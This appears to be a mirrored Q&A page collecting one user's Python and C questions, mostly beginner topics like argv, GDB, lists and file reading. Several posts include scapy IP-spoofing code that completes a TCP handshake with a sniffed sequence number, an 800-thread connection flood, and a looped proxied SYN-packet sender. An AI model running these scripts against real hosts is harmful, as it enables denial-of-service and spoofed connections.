小编Spe*_*987的帖子

python 3中的IP欺骗

是否可以使用另一个 ip 源发送欺骗数据包?我在网上搜索,发现我需要使用 scapy 库。我有这个脚本,我发现:

import sys
from scapy.all import *

if len(sys.argv) != 4:
    print ("Usage: ./spoof.py <target> <spoofed_ip> <port>")
    sys.exit(1)

target = sys.argv[1]
spoofed_ip = sys.argv[2]
port = int(sys.argv[3])

p1=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='S')
send(p1)
print ("Okay, SYN sent. Enter the sniffed sequence number now: ")

seq=sys.stdin.readline()
print ("Okay, using sequence number " + seq)

seq=int(seq[:-1])
p2=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='A',
                                     ack=seq+1,seq=1)
send(p2)

print ("Okay, final ACK sent. Check netstat on your target :-)")
Run Code Online (Sandbox Code Playgroud)

但我不明白“现在输入嗅探的序列号”是什么意思:

另外,是否可以避免使用 scapy,而使用套接字库?如果是,你能告诉我怎么走吗?

python ip spoofing python-3.x

8
推荐指数
1
解决办法
1万
查看次数

由于字符串的 printf 使用输入中的地址,为什么 printf 不只接受“argv”

int main(int argc, char **argv){
    printf("argv: %s\n",argv); // does not work and prints random stuff
    printf("*argv: %s\n",*argv); // works and prints ".a.out"

}
Run Code Online (Sandbox Code Playgroud)

我测试:

./a.out nop
Run Code Online (Sandbox Code Playgroud)

我的困惑是这样的:

第二行中的“argv”变量具有“./a.out”的第一个字符的地址。

第三行中的“*argv”变量是“./a.out”的第一个字符。

那么为什么printf("argv: %s\n",argv);只打印“./a.out”不起作用呢?

我知道这是错误的,但我不知道为什么。

在此输入图像描述

c arrays printf pointers argv

7
推荐指数
1
解决办法
74
查看次数

我怎样才能杀死所有线程?

在此脚本中:

import threading, socket    

class send(threading.Thread):

    def run(self):
        try:
            while True:
                try:
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.connect((url,port))
                    s.send(b"Hello world!")
                    print ("Request Sent!")
                except:
                    s.close()
        except KeyboardInterrupt:
            # here i'd like to kill all threads if possible

for x in range(800):
    send().start()  
Run Code Online (Sandbox Code Playgroud)

是否可以杀死除键盘中断之外的所有线程?我在网上搜索过,是的,我知道已经有人问过这个问题了,但我对Python真的很陌生,而且我对堆栈上提出的其他问题的方法不太了解。

python multithreading kill terminate python-3.x

5
推荐指数
1
解决办法
2万
查看次数

通过python中的原始套接字发送scapy数据包

是否可以?如果是?如何?

这是我的脚本(它不起作用):

from scapy.all import *
import socket

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    p=IP(dst="192.168.1.254")/TCP(flags="S", sport=RandShort(), dport=80)
    s.connect(("192.168.1.254",80))
    s.send(p)
    print ("Request sent!")
except:
    print ("An error occurred.")
Run Code Online (Sandbox Code Playgroud)

- 更新 -

p = bytes(IP(dst="DESTINATIONIP")/TCP(flags="S", sport=RandShort(), dport=80))
    while True:
        try:
            socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, sockip, sockport, True)
            s = socks.socksocket()
            s.connect((DESTINATIONIP,DESTINATIONPORT))
            s.send(p)
            print ("Request Sent!")
        except:
            print ("An error occurred.")
Run Code Online (Sandbox Code Playgroud)

是否可以通过http代理而不是socks发送这个syn数据包?

python sockets scapy python-3.x

4
推荐指数
1
解决办法
1万
查看次数

GDB 不允许我读取 argv 内存段

我有一个用 C 编写的简单脚本:

#include <stdio.h>

void usage(char *program_name) {
   printf("Usage: %s <message> <# of times to repeat>\n", program_name);
   exit(1);
}

int main(int argc, char *argv[]) {
   int i, count;

//  if(argc < 3)      // If less than 3 arguments are used,
//    usage(argv[0]); // display usage message and exit.

   count = atoi(argv[2]); // convert the 2nd arg into an integer
   printf("Repeating %d times..\n", count);

   for(i=0; i < count; i++)
      printf("%3d - %s\n", i, argv[1]); // print the 1st arg
} …
Run Code Online (Sandbox Code Playgroud)

c memory gdb segmentation-fault argv

2
推荐指数
1
解决办法
701
查看次数

从列表中删除相同的项目

例如,我有这个列表:

list = ["192.168.1.1", "0.1.2.3", "0.2.3.4", "192.168.1.2", "0.3.4.5", "192.168.1.3"]
Run Code Online (Sandbox Code Playgroud)

如何使用命令删除所有以"0."?开头的项目?

python list python-3.x

1
推荐指数
1
解决办法
41
查看次数

如何打开一个目录下的多个文件

我需要在 python3 中构建一个简单的脚本,打开目录中的更多文件,并查看这些文件中是否有关键字。

目录内的所有文件都是这样的:“f*.formatofile”(* 为随意数字)

例子:

f9993546.txt
f10916138.txt
f6325802.txt
Run Code Online (Sandbox Code Playgroud)

显然我只需要打开txt文件。

提前致谢!

最终脚本:

import os

Path = "path of files"
filelist = os.listdir(Path)
for x in filelist:
    if x.endswith(".txt"):
        try:
            with open(Path + x, "r", encoding="ascii") as y:
                for line in y:
                    if "firefox" in line:
                        print ("Found in %s !" % (x))
        except:
            pass
Run Code Online (Sandbox Code Playgroud)

file python-3.x

0
推荐指数
1
解决办法
3万
查看次数